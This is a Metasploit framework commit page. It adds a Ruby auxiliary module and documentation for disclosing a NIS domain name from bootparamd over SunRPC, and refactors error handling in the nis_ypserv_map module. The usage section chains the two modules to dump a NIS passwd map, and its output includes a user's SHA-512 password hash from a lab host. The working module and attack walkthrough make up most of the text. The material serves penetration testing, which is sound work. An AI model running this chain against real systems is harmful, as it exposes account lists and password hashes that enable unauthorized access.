Land #9402, NIS bootparamd domain name disclosure
commit
e5bd36da1c
|
@ -0,0 +1,110 @@
|
|||
## Intro
|
||||
|
||||
From the `bootparamd(8)` man page:
|
||||
|
||||
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
|
||||
|
||||
The module documented within will allow a tester to disclose the NIS
|
||||
domain name from a server running `bootparamd`. After knowing the domain
|
||||
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
|
||||
dump a map from a compatible NIS server (running as `ypserv`).
|
||||
|
||||
## Setup
|
||||
|
||||
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||
If the link is down, you can find it via the Wayback Machine.
|
||||
|
||||
After that is done, install `bootparamd` however your OS provides it.
|
||||
|
||||
Make sure you add a client to the `bootparams` file, which is usually at
|
||||
`/etc/bootparams`.
|
||||
|
||||
Here is an example `bootparams` file (courtesy of
|
||||
[@bcoles](https://github.com/bcoles)):
|
||||
|
||||
```
|
||||
clientname root=nfsserver:/export/clientname/root
|
||||
```
|
||||
|
||||
You can read the `bootparams(5)` man page for more info.
|
||||
|
||||
Lastly, the client should be added to `/etc/hosts` if it isn't already
|
||||
resolvable.
|
||||
|
||||
## Options
|
||||
|
||||
**PROTOCOL**
|
||||
|
||||
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
|
||||
|
||||
**CLIENT**
|
||||
|
||||
Set this to the address of a client in the target's `bootparams` file.
|
||||
Usually this is a host within the same network range as the target.
|
||||
|
||||
**XDRTimeout**
|
||||
|
||||
Set this to the timeout in seconds for XDR decoding of the response.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/nis_bootparamd_domain
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
|
||||
client => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > run
|
||||
|
||||
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_bootparamd_domain) >
|
||||
```
|
||||
|
||||
After disclosing the domain name, you can use
|
||||
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
|
||||
server.
|
||||
|
||||
```
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
|
||||
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||
domain => gesellschaft
|
||||
msf auxiliary(gather/nis_ypserv_map) > run
|
||||
|
||||
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
sync:*:4:65534:sync:/bin:/bin/sync
|
||||
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||
root:*:0:0:root:/root:/bin/bash
|
||||
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||
_apt:*:105:65534::/nonexistent:/bin/false
|
||||
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
syslog:*:104:108::/home/syslog:/bin/false
|
||||
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
|
@ -179,7 +179,8 @@ class Client
|
|||
buf = nil
|
||||
begin
|
||||
Timeout.timeout(maxwait) { buf = sock.get }
|
||||
rescue ::Timeout
|
||||
rescue Timeout::Error
|
||||
raise RPCTimeout
|
||||
end
|
||||
|
||||
return nil if not buf
|
||||
|
|
|
@ -0,0 +1,148 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS bootparamd Domain Name Disclosure',
|
||||
'Description' => %q{
|
||||
This module discloses the NIS domain name from bootparamd.
|
||||
|
||||
You must know a client address from the target's bootparams file.
|
||||
|
||||
Hint: try hosts within the same network range as the target.
|
||||
},
|
||||
'Author' => [
|
||||
'SATAN', # boot.c
|
||||
'pentestmonkey', # Blog post
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506'],
|
||||
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
|
||||
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
client = datastore['CLIENT']
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: UDP (17)
|
||||
100026, # Program: BOOTPARAMS (100026)
|
||||
1 # Program Version: 1
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# Convert ASCII to network byte order to four unsigned chars :(
|
||||
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
|
||||
|
||||
bootparam_whoami = Rex::Encoder::XDR.encode(
|
||||
1, # Address Type: IPv4-ADDR (1)
|
||||
*client_addr # Client Address: [redacted]
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
1, # Procedure: WHOAMI (1)
|
||||
bootparam_whoami # Boot Parameters
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
|
||||
rescue Rex::Proto::SunRPC::RPCTimeout
|
||||
fail_with(Failure::NotVulnerable,
|
||||
'Could not disclose NIS domain name (try another CLIENT?)')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'No response from server')
|
||||
end
|
||||
|
||||
bootparams = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_bootparams(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
end
|
||||
|
||||
if bootparams.blank?
|
||||
fail_with(Failure::Unknown, 'Could not parse bootparams')
|
||||
end
|
||||
|
||||
bootparams.each do |host, domain|
|
||||
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
|
||||
|
||||
print_good(msg)
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: proto,
|
||||
type: 'nis.bootparamd.domain',
|
||||
data: msg
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_bootparams(res)
|
||||
bootparams = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
String, # Client Host: [redacted]
|
||||
String, # Client Domain: [redacted]
|
||||
Integer, # Address Type: IPv4-ADDR (1)
|
||||
# One int per octet in an IPv4 address
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer # Router Address: [redacted]
|
||||
)
|
||||
|
||||
break unless host && domain
|
||||
|
||||
bootparams[host] = domain
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
bootparams
|
||||
end
|
||||
|
||||
end
|
|
@ -58,11 +58,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
2 # Program Version: 2
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
print_error('Could not connect to portmapper')
|
||||
return
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not connect to ypserv')
|
||||
return
|
||||
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
|
@ -80,15 +78,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
ypserv_all_call # Yellow Pages Service ALL call
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not call ypserv procedure')
|
||||
return
|
||||
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
if res.nil? || res.length < 8
|
||||
print_error('Invalid response from server')
|
||||
unless res && res.length > 8
|
||||
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -96,12 +93,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
case res[4, 4].unpack('l>').first
|
||||
# Status: YP_NOMAP (-1)
|
||||
when -1
|
||||
print_error("Invalid map #{map_name} specified")
|
||||
return
|
||||
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
|
||||
# Status: YP_NODOM (-2)
|
||||
when -2
|
||||
print_error("Invalid domain #{domain} specified")
|
||||
return
|
||||
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
|
||||
end
|
||||
|
||||
map = begin
|
||||
|
@ -109,12 +104,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
parse_map(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
return
|
||||
end
|
||||
|
||||
if map.nil? || map.empty?
|
||||
print_error("Could not parse map #{map_name}")
|
||||
if map.blank?
|
||||
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -140,7 +136,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
String # Key: [redacted]
|
||||
)
|
||||
|
||||
status == 1 ? map[key] = value : break
|
||||
break unless status == 1 && key && value
|
||||
|
||||
map[key] = value
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
|
|
Loading…
Reference in New Issue